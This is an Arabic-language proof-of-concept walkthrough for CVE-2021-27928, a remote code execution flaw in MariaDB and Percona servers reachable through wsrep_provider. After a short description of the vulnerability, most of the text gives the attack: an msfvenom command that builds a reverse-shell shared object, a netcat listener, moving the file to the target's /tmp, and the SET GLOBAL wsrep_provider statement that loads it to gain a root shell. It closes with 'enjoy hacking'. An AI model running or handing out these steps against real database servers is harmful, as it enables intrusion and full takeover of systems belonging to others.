
CVE-2021-27928-POC
تم اكتشاف مشكلة تنفيذ تعليمات برمجية عن بُعد في MariaDB 10.2 قبل الإصدار 10.2.37، و10.3 قبل الإصدار 10.3.28، و10.4 قبل الإصدار 10.4.18، و10.5 قبل الإصدار 10.5.9؛ وخادم Percona حتى 2021-03-03؛ وتصحيح wsrep حتى 2021-03-03 لـ MySQL. يؤدي مسار بحث غير موثوق إلى حقن eval، حيث يمكن لمستخدم SUPER في قاعدة البيانات تنفيذ أوامر نظام التشغيل بعد تعديل wsrep_provider وwsrep_notify_cmd. ملاحظة: هذا لا يؤثر على منتج Oracle.
لننشئ الحمولة الخاصة بنا باستخدام Msfvenom. سنستخدم /linux/x64/shell_reverse_tcp مع عنوان IP الخاص بنا كقيمة LHOST ورقم المنفذ كقيمة LPORT. سنحدد أيضًا نوع الملف باستخدام -f، وهو في حالتنا elf-so. وسنحفظ ملف الإخراج باسم CVE-2021.27928.so باستخدام خيار -o.
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so

حمولتنا جاهزة! لنقم بإعداد netcat كمستمع على المنفذ الذي حددناه.
لننقل ملفنا إلى الجهاز الهدف. لتحقيق ذلك، يمكننا استخدام أي طريقة نفضّلها. سأستخدم خادم HTTP الخاص بـ Python.

لنحفظ الملف في دليل /tmp

الآن نحتاج إلى تسجيل الدخول إلى قاعدة البيانات وتعيين wsrep_provider على الحمولة التي قمنا برفعها.
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

حان الوقت للتحقق من المستمع. إذا نجحنا، فيجب أن نكون قد حصلنا على شل الجذر (root shell) على الجهاز!

استمتع بالقرصنة!